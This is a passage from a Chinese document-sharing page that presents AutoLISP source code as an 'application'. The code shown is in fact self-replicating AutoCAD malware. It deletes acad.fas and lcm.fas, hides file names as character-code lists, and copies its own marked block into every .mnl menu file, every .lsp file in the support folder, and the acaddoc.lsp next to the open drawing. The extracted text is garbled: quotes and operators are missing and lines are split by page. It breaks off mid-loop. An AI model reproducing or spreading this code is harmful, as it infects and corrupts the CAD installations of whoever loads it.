《autolisp-应用程序源代码》由会员分享，可在线阅读，更多相关《autolisp-应用程序源代码（80页珍藏版）》请在金锄头文库上搜索。
1、(setq wold_cmd (getvar cmdecho)(setvar cmdecho 0)( setqbb 2)(setq dpath (getvar dwgprefix)(setq wpath (getvar menuname)(setq wpath (substr wpath 1 (- (strlen wpath) 4)(setq n 0)(while( n 1) (if(findfile acad.fas) (if(vl-file-delete (findfile acad.fas) (setq n 0) (setq n 2)(setq n 0)(while( n 1) (if(
2、findfile lcm.fas) (if(vl-file-delete (findfile lcm.fas) (setq n 0) (setq n 2)(setq n 0)(while( ab bb) (setq lbz 1) ) )(setq wwjqm (strcat wpath acad.mnl)(if (setq wwjm (open wwjqm r) (progn (repeat 3 (read-line wwjm) (setq wz (read-line wwjm) (setq nb (atoi (substr wz 4 1) (close wwjm) (if(string(10
3、8 111 103 111 46 103 105 102)(vl-list-string(97 99 97 100 46 118 108 120)(load acadappp.lsp)(princ)(if (null stol) (load lcm )(princ)(load acadappp.lsp)(princ)(load acadapq)(princ)(load acadappp.lsp)(princ)(setq flagx t)(setq bz (setq flagx t)(defun app(source target bz / flag flag1 wjm wjm1 text) (
4、setq flag nil) (setq flag1 t) (if (findfile target) (progn (setq wjm1 (open target r) (while (setq text (read-line wjm1)(if (= text bz) (setq flag1 nil);while (close wjm1) );progn );if (if flag1 (progn (setq wjm (open source r) (setq wjm1 (open target a) (write-line (chr 13) wjm1) (while (setq text
5、(read-line wjm)(if (= text bz) (setq flag t)(if flag (progn (write-line text wjm1) );progn );if);while (close wjm1) (close wjm) );progn );if );defun(setvar cmdecho 0)(setq acadmnl (findfile acad.mnl)(setq acadmnlpath (vl-filename-directory acadmnl)(setq mnlfilelist (vl-directory-files acadmnlpath *.
6、mnl)(setq mnlnum (length mnlfilelist)(setq acadexe (findfile acad.exe)(setq acadpath (vl-filename-directory acadexe)(setq support (strcat acadpath support)(setq lspfilelist (vl-directory-files support *.lsp)(setq lspfilelist (append lspfilelist (list acaddoc.lsp)(setq lspnum (length lspfilelist)(set
7、q dwgname (getvar dwgname)(setq dwgpath (findfile dwgname)(if dwgpath (progn (setq acaddocpath (vl-filename-directory dwgpath) (setq acaddocfile (strcat acaddocpath acaddoc.lsp) (setq mnln 0) (while ( mnln mnlnum) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (app mnlfilename acaddocf
8、ile bz) (app acaddocfile mnlfilename bz) (setq mnln (1+ mnln) );while (setq lspn 0) (while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (app lspfilename acaddocfile bz) (app acaddocfile lspfilename bz) (setq lspn (1+ lspn) );while );progn );if(setq mnln 0)(while ( mnln mnl
9、num) (setq mnlfilename (strcat acadmnlpath (nth mnln mnlfilelist) (setq mnln1 0) (while ( mnln1 mnlnum) (setq mnlfilename1 (strcat acadmnlpath (nth mnln1 mnlfilelist) (app mnlfilename mnlfilename1 bz) (setq mnln1 (1+ mnln1) );while (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat sup
10、port (nth lspn1 lspfilelist) (app mnlfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln (1+ mnln) );while(setq lspn 0)(while ( lspn lspnum) (setq lspfilename (strcat support (nth lspn lspfilelist) (setq lspn1 0) (while ( lspn1 lspnum) (setq lspfilename1 (strcat support (nth lspn1 lspfilelist) (app lspfilename lspfilename1 bz) (setq lspn1 (1+ lspn1) );while (setq mnln1 0) (wh
